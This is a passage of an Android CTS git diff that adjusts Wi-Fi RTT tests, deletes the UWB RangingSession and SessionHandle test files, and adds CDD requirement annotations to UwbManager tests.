byte[33]); - fail("Expected IllegalArgumentException for byte array length greater than 32."); - } catch (IllegalArgumentException e) { - // Success - } } /** diff --git a/tests/tests/wifi/src/android/net/wifi/rtt/cts/WifiRttTest.java b/tests/tests/wifi/src/android/net/wifi/rtt/cts/WifiRttTest.java index 2a3f67acb55..41cc640b30d 100644 --- a/tests/tests/wifi/src/android/net/wifi/rtt/cts/WifiRttTest.java +++ b/tests/tests/wifi/src/android/net/wifi/rtt/cts/WifiRttTest.java @@ -562,7 +562,7 @@ public class WifiRttTest extends TestBase { */ @Test public void testAwareRttWithPeerHandle() throws InterruptedException { - if (WifiFeature.isAwareSupported(getContext())) { + if (!WifiFeature.isAwareSupported(getContext())) { return; } PeerHandle peerHandle = mock(PeerHandle.class); @@ -605,7 +605,7 @@ public class WifiRttTest extends TestBase { builder.setRttBurstSize(RangingRequest.getMaxRttBurstSize()); RangingRequest request = builder.build(); - // Perform the rquest + // Perform the request rangeNon11mcApRequest(request, testAp, MAX_NON11MC_VARIATION_FROM_AVERAGE_DISTANCE_MM); } @@ -639,7 +639,9 @@ public class WifiRttTest extends TestBase { builder.setRttBurstSize(RangingRequest.getMaxRttBurstSize()); RangingRequest request = builder.build(); - // Perform the rquest + + + // Perform the request rangeNon11mcApRequest(request, testAp, MAX_NON11MC_VARIATION_FROM_AVERAGE_DISTANCE_MM); } @@ -747,15 +749,13 @@ public class WifiRttTest extends TestBase { ResultType.NEUTRAL, ResultUnit.NONE); reportLog.submit(); - // This bug below has been addressed by making the test parameters for Non-80211mc devices - // less stringent. Please update the bug if this does not solve the problem. - // TODO(b/192909380): enable the performance verification after device fix. - - // Analyze results + /** TODO(b/237011062): enable the performance verification new API to check capabilities + // Analyze results assertTrue("Wi-Fi RTT failure rate exceeds threshold: FAIL=" + numFailures + ", ITERATIONS=" + NUM_OF_RTT_ITERATIONS + ", AP=" + testAp, numFailures <= NUM_OF_RTT_ITERATIONS * MAX_NON11MC_FAILURE_RATE_PERCENT / 100); + */ if (numFailures != NUM_OF_RTT_ITERATIONS) { // Calculate an initial average using all measurements to determine distance outliers diff --git a/tests/uwb/src/android/uwb/cts/RangingSessionTest.java b/tests/uwb/src/android/uwb/cts/RangingSessionTest.java deleted file mode 100644 index 6fcdc74fd0e..00000000000 --- a/tests/uwb/src/android/uwb/cts/RangingSessionTest.java +++ /dev/null @@ -1,629 +0,0 @@ -/* - * Copyright (C) 2021 The Android Open Source Project - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package android.uwb.cts; - -import static android.uwb.RangingSession.Callback.REASON_BAD_PARAMETERS; - -import static org.junit.Assert.assertEquals; -import static org.junit.Assert.assertFalse; -import static org.junit.Assert.assertTrue; -import static org.junit.Assert.fail; -import static org.mockito.ArgumentMatchers.any; -import static org.mockito.ArgumentMatchers.anyInt; -import static org.mockito.ArgumentMatchers.eq; -import static org.mockito.Mockito.doAnswer; -import static org.mockito.Mockito.mock; -import static org.mockito.Mockito.times; -import static org.mockito.Mockito.verify; - -import android.os.PersistableBundle; -import android.os.RemoteException; -import android.uwb.IUwbAdapter; -import android.uwb.RangingReport; -import android.uwb.RangingSession; -import android.uwb.SessionHandle; -import android.uwb.UwbAddress; - -import androidx.test.ext.junit.runners.AndroidJUnit4; -import androidx.test.filters.SmallTest; - -import org.junit.Test; -import org.junit.runner.RunWith; -import org.mockito.invocation.InvocationOnMock; -import org.mockito.stubbing.Answer; - -import java.util.concurrent.Executor; - -/** - * Test of {@link RangingSession}. - */ -@SmallTest -@RunWith(AndroidJUnit4.class) -public class RangingSessionTest { - private static final Executor EXECUTOR = UwbTestUtils.getExecutor(); - private static final PersistableBundle PARAMS = new PersistableBundle(); - private static final UwbAddress UWB_ADDRESS = UwbAddress.fromBytes(new byte[] {0x00, 0x56}); - private static final @RangingSession.Callback.Reason int REASON = - RangingSession.Callback.REASON_GENERIC_ERROR; - - @Test - public void testOnRangingOpened_OnOpenSuccessCalled() { - SessionHandle handle = new SessionHandle(123); - RangingSession.Callback callback = mock(RangingSession.Callback.class); - IUwbAdapter adapter = mock(IUwbAdapter.class); - RangingSession session = new RangingSession(EXECUTOR, callback, adapter, handle); - verifyOpenState(session, false); - - session.onRangingOpened(); - verifyOpenState(session, true); - - // Verify that the onOpenSuccess callback was invoked - verify(callback, times(1)).onOpened(eq(session)); - verify(callback, times(0)).onClosed(anyInt(), any()); - } - - @Test - public void testOnRangingOpened_OnServiceDiscoveredConnectedCalled() { - SessionHandle handle = new SessionHandle(123); - RangingSession.Callback callback = mock(RangingSession.Callback.class); - IUwbAdapter adapter = mock(IUwbAdapter.class); - RangingSession session = new RangingSession(EXECUTOR, callback, adapter, handle); - verifyOpenState(session, false); - - session.onRangingOpened(); - verifyOpenState(session, true); - - // Verify that the onOpenSuccess callback was invoked - verify(callback, times(1)).onOpened(eq(session)); - verify(callback, times(0)).onClosed(anyInt(), any()); - - session.onServiceDiscovered(PARAMS); - verify(callback, times(1)).onServiceDiscovered(eq(PARAMS)); - - session.onServiceConnected(PARAMS); - verify(callback, times(1)).onServiceConnected(eq(PARAMS)); - } - - - @Test - public void testOnRangingOpened_CannotOpenClosedSession() { - SessionHandle handle = new SessionHandle(123); - RangingSession.Callback callback = mock(RangingSession.Callback.class); - IUwbAdapter adapter = mock(IUwbAdapter.class); - RangingSession session = new RangingSession(EXECUTOR, callback, adapter, handle); - - session.onRangingOpened(); - verifyOpenState(session, true); - verify(callback, times(1)).onOpened(eq(session)); - verify(callback, times(0)).onClosed(anyInt(), any()); - - session.onRangingClosed(REASON, PARAMS); - verifyOpenState(session, false); - verify(callback, times(1)).onOpened(eq(session)); - verify(callback, times(1)).onClosed(anyInt(), any()); - - // Now invoke the ranging started callback and ensure the session remains closed - session.onRangingOpened(); - verifyOpenState(session, false); - verify(callback, times(1)).onOpened(eq(session)); - verify(callback, times(1)).onClosed(anyInt(), any()); - } - - @Test - public void testOnRangingClosed_OnClosedCalledWhenSessionNotOpen() { - SessionHandle handle = new SessionHandle(123); - RangingSession.Callback callback = mock(RangingSession.Callback.class); - IUwbAdapter adapter = mock(IUwbAdapter.class); - RangingSession session = new RangingSession(EXECUTOR, callback, adapter, handle); - verifyOpenState(session, false); - - session.onRangingClosed(REASON, PARAMS); - verifyOpenState(session, false); - - // Verify that the onOpenSuccess callback was invoked - verify(callback, times(0)).onOpened(eq(session)); - verify(callback, times(1)).onClosed(anyInt(), any()); - } - - @Test - public void testOnRangingClosed_OnClosedCalled() { - SessionHandle handle = new SessionHandle(123); - RangingSession.Callback callback = mock(RangingSession.Callback.class); - IUwbAdapter adapter = mock(IUwbAdapter.class); - RangingSession session = new RangingSession(EXECUTOR, callback, adapter, handle); - session.onRangingStarted(PARAMS); - session.onRangingClosed(REASON, PARAMS); - verify(callback, times(1)).onClosed(anyInt(), any()); - - verifyOpenState(session, false); - session.onRangingClosed(REASON, PARAMS); - verify(callback, times(2)).onClosed(anyInt(), any()); - } - - @Test - public void testOnRangingResult_OnReportReceivedCalled() { - SessionHandle handle = new SessionHandle(123); - RangingSession.Callback callback = mock(RangingSession.Callback.class); - IUwbAdapter adapter = mock(IUwbAdapter.class); - RangingSession session = new RangingSession(EXECUTOR, callback, adapter, handle); - verifyOpenState(session, false); - - session.onRangingStarted(PARAMS); - verifyOpenState(session, true); - - RangingReport report = UwbTestUtils.getRangingReports(1); - session.onRangingResult(report); - verify(callback, times(1)).onReportReceived(eq(report)); - } - - @Test - public void testStart_CannotStartIfAlreadyStarted() throws RemoteException { - SessionHandle handle = new SessionHandle(123); - RangingSession.Callback callback = mock(RangingSession.Callback.class); - IUwbAdapter adapter = mock(IUwbAdapter.class); - RangingSession session = new RangingSession(EXECUTOR, callback, adapter, handle); - doAnswer(new StartAnswer(session)).when(adapter).startRanging(any(), any()); - session.onRangingOpened(); - - session.start(PARAMS); - verify(callback, times(1)).onStarted(any()); - - // Calling start again should throw an illegal state - verifyThrowIllegalState(() -> session.start(PARAMS)); - verify(callback, times(1)).onStarted(any()); - } - - @Test - public void testStop_CannotStopIfAlreadyStopped() throws RemoteException { - SessionHandle handle = new SessionHandle(123); - RangingSession.Callback callback = mock(RangingSession.Callback.class); - IUwbAdapter adapter = mock(IUwbAdapter.class); - RangingSession session = new RangingSession(EXECUTOR, callback, adapter, handle); - doAnswer(new StartAnswer(session)).when(adapter).startRanging(any(), any()); - doAnswer(new StopAnswer(session)).when(adapter).stopRanging(any()); - session.onRangingOpened(); - session.start(PARAMS); - - verifyNoThrowIllegalState(session::stop); - verify(callback, times(1)).onStopped(anyInt(), any()); - - // Calling stop again should throw an illegal state - verifyThrowIllegalState(session::stop); - verify(callback, times(1)).onStopped(anyInt(), any()); - } - - @Test - public void testStop_CannotStopIfOpenFailed() throws RemoteException { - SessionHandle handle = new SessionHandle(123); - RangingSession.Callback callback = mock(RangingSession.Callback.class); - IUwbAdapter adapter = mock(IUwbAdapter.class); - RangingSession session = new RangingSession(EXECUTOR, callback, adapter, handle); - doAnswer(new StartAnswer(session)).when(adapter).startRanging(any(), any()); - doAnswer(new StopAnswer(session)).when(adapter).stopRanging(any()); - session.onRangingOpened(); - session.start(PARAMS); - - verifyNoThrowIllegalState(() -> session.onRangingOpenFailed(REASON_BAD_PARAMETERS, PARAMS)); - verify(callback, times(1)).onOpenFailed( - REASON_BAD_PARAMETERS, PARAMS); - - // Calling stop again should throw an illegal state - verifyThrowIllegalState(session::stop); - verify(callback, times(0)).onStopped(anyInt(), any()); - } - - @Test - public void testCallbacks_OnlyWhenOpened() throws RemoteException { - SessionHandle handle = new SessionHandle(123); - RangingSession.Callback callback = mock(RangingSession.Callback.class); - IUwbAdapter adapter = mock(IUwbAdapter.class); - RangingSession session = new RangingSession(EXECUTOR, callback, adapter, handle); - doAnswer(new OpenAnswer(session)).when(adapter).openRanging( - any(), any(), any(), any(), any()); - doAnswer(new StartAnswer(session)).when(adapter).startRanging(any(), any()); - doAnswer(new ReconfigureAnswer(session)).when(adapter).reconfigureRanging(any(), any()); - doAnswer(new PauseAnswer(session)).when(adapter).pause(any(), any()); - doAnswer(new ResumeAnswer(session)).when(adapter).resume(any(), any()); - doAnswer(new ControleeAddAnswer(session)).when(adapter).addControlee(any(), any()); - doAnswer(new ControleeRemoveAnswer(session)).when(adapter).removeControlee(any(), any()); - doAnswer(new DataSendAnswer(session)).when(adapter).sendData(any(), any(), any(), any()); - doAnswer(new StopAnswer(session)).when(adapter).stopRanging(any()); - doAnswer(new CloseAnswer(session)).when(adapter).closeRanging(any()); - - verifyThrowIllegalState(() -> session.reconfigure(PARAMS)); - verify(callback, times(0)).onReconfigured(any()); - verifyOpenState(session, false); - - session.onRangingOpened(); - verifyOpenState(session, true); - verify(callback, times(1)).onOpened(any()); - verifyNoThrowIllegalState(() -> session.reconfigure(PARAMS)); - verify(callback, times(1)).onReconfigured(any()); - verifyThrowIllegalState(() -> session.pause(PARAMS)); - verify(callback, times(0)).onPaused(any()); - verifyThrowIllegalState(() -> session.resume(PARAMS)); - verify(callback, times(0)).onResumed(any()); - verifyNoThrowIllegalState(() -> session.addControlee(PARAMS)); - verify(callback, times(1)).onControleeAdded(any()); - verifyNoThrowIllegalState(() -> session.removeControlee(PARAMS)); - verify(callback, times(1)).onControleeRemoved(any()); - verifyThrowIllegalState(() -> session.sendData( - UWB_ADDRESS, PARAMS, new byte[] {0x05, 0x1})); - verify(callback, times(0)).onDataSent(any(), any()); - - session.onRangingStartFailed(REASON_BAD_PARAMETERS, PARAMS); - verifyOpenState(session, true); - verify(callback, times(1)).onStartFailed( - REASON_BAD_PARAMETERS, PARAMS); - - session.onRangingStarted(PARAMS); - verifyOpenState(session, true); - verifyNoThrowIllegalState(() -> session.reconfigure(PARAMS)); - verify(callback, times(2)).onReconfigured(any()); - verifyNoThrowIllegalState(() -> session.reconfigure(null)); - verify(callback, times(1)).onReconfigureFailed( - eq(REASON_BAD_PARAMETERS), any()); - verifyNoThrowIllegalState(() -> session.pause(PARAMS)); - verify(callback, times(1)).onPaused(any()); - verifyNoThrowIllegalState(() -> session.pause(null)); - verify(callback, times(1)).onPauseFailed( - eq(REASON_BAD_PARAMETERS), any()); - verifyNoThrowIllegalState(() -> session.resume(PARAMS)); - verify(callback, times(1)).onResumed(any()); - verifyNoThrowIllegalState(() -> session.resume(null)); - verify(callback, times(1)).onResumeFailed( - eq(REASON_BAD_PARAMETERS), any()); - verifyNoThrowIllegalState(() -> session.addControlee(PARAMS)); - verify(callback, times(2)).onControleeAdded(any()); - verifyNoThrowIllegalState(() -> session.addControlee(null)); - verify(callback, times(1)).onControleeAddFailed( - eq(REASON_BAD_PARAMETERS), any()); - verifyNoThrowIllegalState(() -> session.removeControlee(PARAMS)); - verify(callback, times(2)).onControleeRemoved(any()); - verifyNoThrowIllegalState(() -> session.removeControlee(null)); - verify(callback, times(1)).onControleeRemoveFailed( - eq(REASON_BAD_PARAMETERS), any()); - verifyNoThrowIllegalState(() -> session.sendData( - UWB_ADDRESS, PARAMS, new byte[] {0x05, 0x1})); - verify(callback, times(1)).onDataSent(any(), any()); - verifyNoThrowIllegalState(() -> session.sendData( - null, PARAMS, new byte[] {0x05, 0x1})); - verify(callback, times(1)).onDataSendFailed( - eq(null), eq(REASON_BAD_PARAMETERS), any()); - - session.onDataReceived(UWB_ADDRESS, PARAMS, new byte[] {0x5, 0x7}); - verify(callback, times(1)).onDataReceived( - UWB_ADDRESS, PARAMS, new byte[] {0x5, 0x7}); - session.onDataReceiveFailed(UWB_ADDRESS, REASON_BAD_PARAMETERS, PARAMS); - verify(callback, times(1)).onDataReceiveFailed( - UWB_ADDRESS, REASON_BAD_PARAMETERS, PARAMS); - - session.stop(); - verifyOpenState(session, true); - verify(callback, times(1)).onStopped(REASON, PARAMS); - - verifyNoThrowIllegalState(() -> session.reconfigure(PARAMS)); - verify(callback, times(3)).onReconfigured(any()); - verifyThrowIllegalState(() -> session.pause(PARAMS)); - verify(callback, times(1)).onPaused(any()); - verifyThrowIllegalState(() -> session.resume(PARAMS)); - verify(callback, times(1)).onResumed(any()); - verifyNoThrowIllegalState(() -> session.addControlee(PARAMS)); - verify(callback, times(3)).onControleeAdded(any()); - verifyNoThrowIllegalState(() -> session.removeControlee(PARAMS)); - verify(callback, times(3)).onControleeRemoved(any()); - verifyThrowIllegalState(() -> session.sendData( - UWB_ADDRESS, PARAMS, new byte[] {0x05, 0x1})); - verify(callback, times(1)).onDataSent(any(), any()); - - session.close(); - verifyOpenState(session, false); - verify(callback, times(1)).onClosed(REASON, PARAMS); - - verifyThrowIllegalState(() -> session.reconfigure(PARAMS)); - verify(callback, times(3)).onReconfigured(any()); - verifyThrowIllegalState(() -> session.pause(PARAMS)); - verify(callback, times(1)).onPaused(any()); - verifyThrowIllegalState(() -> session.resume(PARAMS)); - verify(callback, times(1)).onResumed(any()); - verifyThrowIllegalState(() -> session.addControlee(PARAMS)); - verify(callback, times(3)).onControleeAdded(any()); - verifyThrowIllegalState(() -> session.removeControlee(PARAMS)); - verify(callback, times(3)).onControleeRemoved(any()); - verifyThrowIllegalState(() -> session.sendData( - UWB_ADDRESS, PARAMS, new byte[] {0x05, 0x1})); - verify(callback, times(1)).onDataSent(any(), any()); - } - - @Test - public void testClose_NoCallbackUntilInvoked() throws RemoteException { - SessionHandle handle = new SessionHandle(123); - RangingSession.Callback callback = mock(RangingSession.Callback.class); - IUwbAdapter adapter = mock(IUwbAdapter.class); - RangingSession session = new RangingSession(EXECUTOR, callback, adapter, handle); - session.onRangingOpened(); - - // Calling close multiple times should invoke closeRanging until the session receives - // the onClosed callback. - int totalCallsBeforeOnRangingClosed = 3; - for (int i = 1; i <= totalCallsBeforeOnRangingClosed; i++) { - session.close(); - verifyOpenState(session, true); - verify(adapter, times(i)).closeRanging(handle); - verify(callback, times(0)).onClosed(anyInt(), any()); - } - - // After onClosed is invoked, then the adapter should no longer be called for each call to - // the session's close. - final int totalCallsAfterOnRangingClosed = 2; - for (int i = 1; i <= totalCallsAfterOnRangingClosed; i++) { - session.onRangingClosed(REASON, PARAMS); - verifyOpenState(session, false); - verify(adapter, times(totalCallsBeforeOnRangingClosed)).closeRanging(handle); - verify(callback, times(i)).onClosed(anyInt(), any()); - } - } - - @Test - public void testClose_OnClosedCalled() throws RemoteException { - SessionHandle handle = new SessionHandle(123); - RangingSession.Callback callback = mock(RangingSession.Callback.class); - IUwbAdapter adapter = mock(IUwbAdapter.class); - RangingSession session = new RangingSession(EXECUTOR, callback, adapter, handle); - doAnswer(new CloseAnswer(session)).when(adapter).closeRanging(any()); - session.onRangingOpened(); - - session.close(); - verify(callback, times(1)).onClosed(anyInt(), any()); - } - - @Test - public void testClose_CannotInteractFurther() throws RemoteException { - SessionHandle handle = new SessionHandle(123); - RangingSession.Callback callback = mock(RangingSession.Callback.class); - IUwbAdapter adapter = mock(IUwbAdapter.class); - RangingSession session = new RangingSession(EXECUTOR, callback, adapter, handle); - doAnswer(new CloseAnswer(session)).when(adapter).closeRanging(any()); - session.close(); - - verifyThrowIllegalState(() -> session.start(PARAMS)); - verifyThrowIllegalState(() -> session.reconfigure(PARAMS)); - verifyThrowIllegalState(() -> session.stop()); - verifyNoThrowIllegalState(() -> session.close()); - } - - @Test - public void testOnRangingResult_OnReportReceivedCalledWhenOpen() { - SessionHandle handle = new SessionHandle(123); - RangingSession.Callback callback = mock(RangingSession.Callback.class); - IUwbAdapter adapter = mock(IUwbAdapter.class); - RangingSession session = new RangingSession(EXECUTOR, callback, adapter, handle); - - assertFalse(session.isOpen()); - session.onRangingStarted(PARAMS); - assertTrue(session.isOpen()); - - // Verify that the onReportReceived callback was invoked - RangingReport report = UwbTestUtils.getRangingReports(1); - session.onRangingResult(report); - verify(callback, times(1)).onReportReceived(report); - } - - @Test - public void testOnRangingResult_OnReportReceivedNotCalledWhenNotOpen() { - SessionHandle handle = new SessionHandle(123); - RangingSession.Callback callback = mock(RangingSession.Callback.class); - IUwbAdapter adapter = mock(IUwbAdapter.class); - RangingSession session = new RangingSession(EXECUTOR, callback, adapter, handle); - - assertFalse(session.isOpen()); - - // Verify that the onReportReceived callback was invoked - RangingReport report = UwbTestUtils.getRangingReports(1); - session.onRangingResult(report); - verify(callback, times(0)).onReportReceived(report); - } - - private void verifyOpenState(RangingSession session, boolean expected) { - assertEquals(expected, session.isOpen()); - } - - private void verifyThrowIllegalState(Runnable runnable) { - try { - runnable.run(); - fail(); - } catch (IllegalStateException e) { - // Pass - } - } - - private void verifyNoThrowIllegalState(Runnable runnable) { - try { - runnable.run(); - } catch (IllegalStateException e) { - fail(); - } - } - - abstract class AdapterAnswer implements Answer { - protected RangingSession mSession; - - protected AdapterAnswer(RangingSession session) { - mSession = session; - } - } - - class OpenAnswer extends AdapterAnswer { - OpenAnswer(RangingSession session) { - super(session); - } - - @Override - public Object answer(InvocationOnMock invocation) { - PersistableBundle argParams = invocation.getArgument(1); - if (argParams != null) { - mSession.onRangingOpened(); - } else { - mSession.onRangingOpenFailed(REASON_BAD_PARAMETERS, PARAMS); - } - return null; - } - } - - class StartAnswer extends AdapterAnswer { - StartAnswer(RangingSession session) { - super(session); - } - - @Override - public Object answer(InvocationOnMock invocation) { - PersistableBundle argParams = invocation.getArgument(1); - if (argParams != null) { - mSession.onRangingStarted(PARAMS); - } else { - mSession.onRangingStartFailed(REASON_BAD_PARAMETERS, PARAMS); - } - return null; - } - } - - class ReconfigureAnswer extends AdapterAnswer { - ReconfigureAnswer(RangingSession session) { - super(session); - } - - @Override - public Object answer(InvocationOnMock invocation) { - PersistableBundle argParams = invocation.getArgument(1); - if (argParams != null) { - mSession.onRangingReconfigured(PARAMS); - } else { - mSession.onRangingReconfigureFailed(REASON_BAD_PARAMETERS, PARAMS); - } - return null; - } - } - - class PauseAnswer extends AdapterAnswer { - PauseAnswer(RangingSession session) { - super(session); - } - - @Override - public Object answer(InvocationOnMock invocation) { - PersistableBundle argParams = invocation.getArgument(1); - if (argParams != null) { - mSession.onRangingPaused(PARAMS); - } else { - mSession.onRangingPauseFailed(REASON_BAD_PARAMETERS, PARAMS); - } - return null; - } - } - - class ResumeAnswer extends AdapterAnswer { - ResumeAnswer(RangingSession session) { - super(session); - } - - @Override - public Object answer(InvocationOnMock invocation) { - PersistableBundle argParams = invocation.getArgument(1); - if (argParams != null) { - mSession.onRangingResumed(PARAMS); - } else { - mSession.onRangingResumeFailed(REASON_BAD_PARAMETERS, PARAMS); - } - return null; - } - } - - class ControleeAddAnswer extends AdapterAnswer { - ControleeAddAnswer(RangingSession session) { - super(session); - } - - @Override - public Object answer(InvocationOnMock invocation) { - PersistableBundle argParams = invocation.getArgument(1); - if (argParams != null) { - mSession.onControleeAdded(PARAMS); - } else { - mSession.onControleeAddFailed(REASON_BAD_PARAMETERS, PARAMS); - } - return null; - } - } - - class ControleeRemoveAnswer extends AdapterAnswer { - ControleeRemoveAnswer(RangingSession session) { - super(session); - } - - @Override - public Object answer(InvocationOnMock invocation) { - PersistableBundle argParams = invocation.getArgument(1); - if (argParams != null) { - mSession.onControleeRemoved(PARAMS); - } else { - mSession.onControleeRemoveFailed(REASON_BAD_PARAMETERS, PARAMS); - } - return null; - } - } - - class DataSendAnswer extends AdapterAnswer { - DataSendAnswer(RangingSession session) { - super(session); - } - - @Override - public Object answer(InvocationOnMock invocation) { - UwbAddress argParams = invocation.getArgument(1); - if (argParams != null) { - mSession.onDataSent(UWB_ADDRESS, PARAMS); - } else { - mSession.onDataSendFailed(null, REASON_BAD_PARAMETERS, PARAMS); - } - return null; - } - } - - class StopAnswer extends AdapterAnswer { - StopAnswer(RangingSession session) { - super(session); - } - - @Override - public Object answer(InvocationOnMock invocation) { - mSession.onRangingStopped(REASON, PARAMS); - return null; - } - } - - class CloseAnswer extends AdapterAnswer { - CloseAnswer(RangingSession session) { - super(session); - } - - @Override - public Object answer(InvocationOnMock invocation) { - mSession.onRangingClosed(REASON, PARAMS); - return null; - } - } -} diff --git a/tests/uwb/src/android/uwb/cts/SessionHandleTest.java b/tests/uwb/src/android/uwb/cts/SessionHandleTest.java deleted file mode 100644 index d52a3e77b89..00000000000 --- a/tests/uwb/src/android/uwb/cts/SessionHandleTest.java +++ /dev/null @@ -1,53 +0,0 @@ -/* - * Copyright 2021 The Android Open Source Project - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package android.uwb.cts; - -import static org.junit.Assert.assertEquals; - -import android.os.Parcel; -import android.uwb.SessionHandle; - -import androidx.test.ext.junit.runners.AndroidJUnit4; -import androidx.test.filters.SmallTest; - -import org.junit.Test; -import org.junit.runner.RunWith; - -/** - * Test of {@link SessionHandle}. - */ -@SmallTest -@RunWith(AndroidJUnit4.class) -public class SessionHandleTest { - - @Test - public void testBasic() { - int handleId = 12; - SessionHandle handle = new SessionHandle(handleId); - assertEquals(handle.getId(), handleId); - } - - @Test - public void testParcel() { - Parcel parcel = Parcel.obtain(); - SessionHandle handle = new SessionHandle(10); - handle.writeToParcel(parcel, 0); - parcel.setDataPosition(0); - SessionHandle fromParcel = SessionHandle.CREATOR.createFromParcel(parcel); - assertEquals(handle, fromParcel); - } -} diff --git a/tests/uwb/src/android/uwb/cts/UwbManagerTest.java b/tests/uwb/src/android/uwb/cts/UwbManagerTest.java index 8e3c0982bb3..90da9ac9fd7 100644 --- a/tests/uwb/src/android/uwb/cts/UwbManagerTest.java +++ b/tests/uwb/src/android/uwb/cts/UwbManagerTest.java @@ -51,6 +51,7 @@ import androidx.test.InstrumentationRegistry; import androidx.test.ext.junit.runners.AndroidJUnit4; import androidx.test.filters.SmallTest; +import com.android.compatibility.common.util.CddTest; import com.android.compatibility.common.util.ShellIdentityUtils; import com.google.uwb.support.fira.FiraOpenSessionParams; @@ -120,6 +121,7 @@ public class UwbManagerTest { } @Test + @CddTest(requirements = {"7.3.13/C-1-1,C-1-2"}) public void testGetSpecificationInfo() { UiAutomation uiAutomation = getInstrumentation().getUiAutomation(); try { @@ -134,6 +136,7 @@ public class UwbManagerTest { } @Test + @CddTest(requirements = {"7.3.13/C-1-1,C-1-2"}) public void testGetSpecificationInfoWithChipId() { UiAutomation uiAutomation = getInstrumentation().getUiAutomation(); try { @@ -149,6 +152,7 @@ public class UwbManagerTest { } @Test + @CddTest(requirements = {"7.3.13/C-1-1,C-1-2"}) public void testGetChipInfos() { UiAutomation uiAutomation = getInstrumentation().getUiAutomation(); try { @@ -164,6 +168,7 @@ public class UwbManagerTest { } @Test + @CddTest(requirements = {"7.3.13/C-1-1,C-1-2"}) public void testGetSpecificationInfoWithInvalidChipId() { UiAutomation uiAutomation = getInstrumentation().getUiAutomation(); try { @@ -177,6 +182,7 @@ public class UwbManagerTest { } @Test + @CddTest(requirements = {"7.3.13/C-1-1,C-1-2"}) public void testGetSpecificationInfoWithoutUwbPrivileged() { try { mUwbManager.getSpecificationInfo(); @@ -189,6 +195,7 @@ public class UwbManagerTest { } @Test + @CddTest(requirements = {"7.3.13/C-1-1,C-1-2"}) public void testGetSpecificationInfoWithChipIdWithoutUwbPrivileged() { try { mUwbManager.getSpecificationInfo(mDefaultChipId); @@ -202,6 +209,7 @@ public class UwbManagerTest { @Test + @CddTest(requirements = {"7.3.13/C-1-1,C-1-2"}) public void testElapsedRealtimeResolutionNanos() { UiAutomation uiAutomation = getInstrumentation().getUiAutomation(); try { @@ -214,6 +222,7 @@ public class UwbManagerTest { } @Test + @CddTest(requirements = {"7.3.13/C-1-1,C-1-2"}) public void testElapsedRealtimeResolutionNanosWithChipId() { UiAutomation uiAutomation = getInstrumentation().getUiAutomation(); try { @@ -227,6 +236,7 @@ public class UwbManagerTest { } @Test + @CddTest(requirements = {"7.3.13/C-1-1,C-1-2"}) public void testElapsedRealtimeResolutionNanosWithInvalidChipId() { UiAutomation uiAutomation = getInstrumentation().getUiAutomation(); try { @@ -240,6 +250,7 @@ public class UwbManagerTest { } @Test + @CddTest(requirements = {"7.3.13/C-1-1,C-1-2"}) public void testElapsedRealtimeResolutionNanosWithoutUwbPrivileged() { try { mUwbManager.elapsedRealtimeResolutionNanos(); @@ -252,6 +263,7 @@ public class UwbManagerTest { } @Test + @CddTest(requirements = {"7.3.13/C-1-1,C-1-2"}) public void testElapsedRealtimeResolutionNanosWithChipIdWithoutUwbPrivileged() { try { mUwbManager.elapsedRealtimeResolutionNanos(mDefaultChipId); @@ -264,6 +276,7 @@ public class UwbManagerTest { } @Test + @CddTest(requirements = {"7.3.13/C-1-1,C-1-2"}) public void testAddServiceProfileWithoutUwbPrivileged() { try { mUwbManager.addServiceProfile(new PersistableBundle()); @@ -276,6 +289,7 @@ public class UwbManagerTest { } @Test + @CddTest(requirements = {"7.3.13/C-1-1,C-1-2"}) public void testRemoveServiceProfileWithoutUwbPrivileged() { try { mUwbManager.removeServiceProfile(new PersistableBundle()); @@ -289,6 +303,7 @@ public class UwbManagerTest { @Test + @CddTest(requirements = {"7.3.13/C-1-1,C-1-2"}) public void testGetAllServiceProfilesWithoutUwbPrivileged() { try { mUwbManager.getAllServiceProfiles(); @@ -301,6 +316,7 @@ public class UwbManagerTest { } @Test + @CddTest(requirements = {"7.3.13/C-1-1,C-1-2"}) public void testGetAdfProvisioningAuthoritiesWithoutUwbPrivileged() { try { mUwbManager.getAdfProvisioningAuthorities(new PersistableBundle()); @@ -313,6 +329,7 @@ public class UwbManagerTest { } @Test + @CddTest(requirements = {"7.3.13/C-1-1,C-1-2"}) public void testGetAdfCertificateInfoWithoutUwbPrivileged() { try { mUwbManager.getAdfCertificateInfo(new PersistableBundle()); @@ -325,6 +342,7 @@ public class UwbManagerTest { } @Test + @CddTest(requirements = {"7.3.13/C-1-1,C-1-2"}) public void testGetChipInfosWithoutUwbPrivileged() { try { mUwbManager.getChipInfos(); @@ -337,6 +355,7 @@ public class UwbManagerTest { } @Test + @CddTest(requirements = {"7.3.13/C-1-1,C-1-2"}) public void testSendVendorUciWithoutUwbPrivileged() { try { mUwbManager.sendVendorUciMessage(10, 0, new byte[0]); @@ -372,6 +391,7 @@ public class UwbManagerTest { } @Test + @CddTest(requirements = {"7.3.13/C-1-1,C-1-2"}) public void testProvisionProfileAdfByScriptWithoutUwbPrivileged() { CountDownLatch countDownLatch = new CountDownLatch(1); AdfProvisionStateCallback adfProvisionStateCallback = @@ -390,6 +410,7 @@ public class UwbManagerTest { } @Test + @CddTest(requirements = {"7.3.13/C-1-1,C-1-2"}) public void testRemoveProfileAdfWithoutUwbPrivileged() { try { mUwbManager.removeProfileAdf(new PersistableBundle()); @@ -434,6 +455,7 @@ public class UwbManagerTest { } @Test + @CddTest(requirements = {"7.3.13/C-1-1,C-1-2"}) public void testRegisterVendorUciCallbackWithoutUwbPrivileged() { UwbManager.UwbVendorUciCallback cb = new UwbVendorUciCallback(new CountDownLatch(1), new CountDownLatch(1)); @@ -449,6 +471,7 @@ public class UwbManagerTest { } @Test + @CddTest(requirements = {"7.3.13/C-1-1,C-1-2"}) public void testUnregisterVendorUciCallbackWithoutUwbPrivileged() { UiAutomation uiAutomation = getInstrumentation().getUiAutomation(); UwbManager.UwbVendorUciCallback cb = @@ 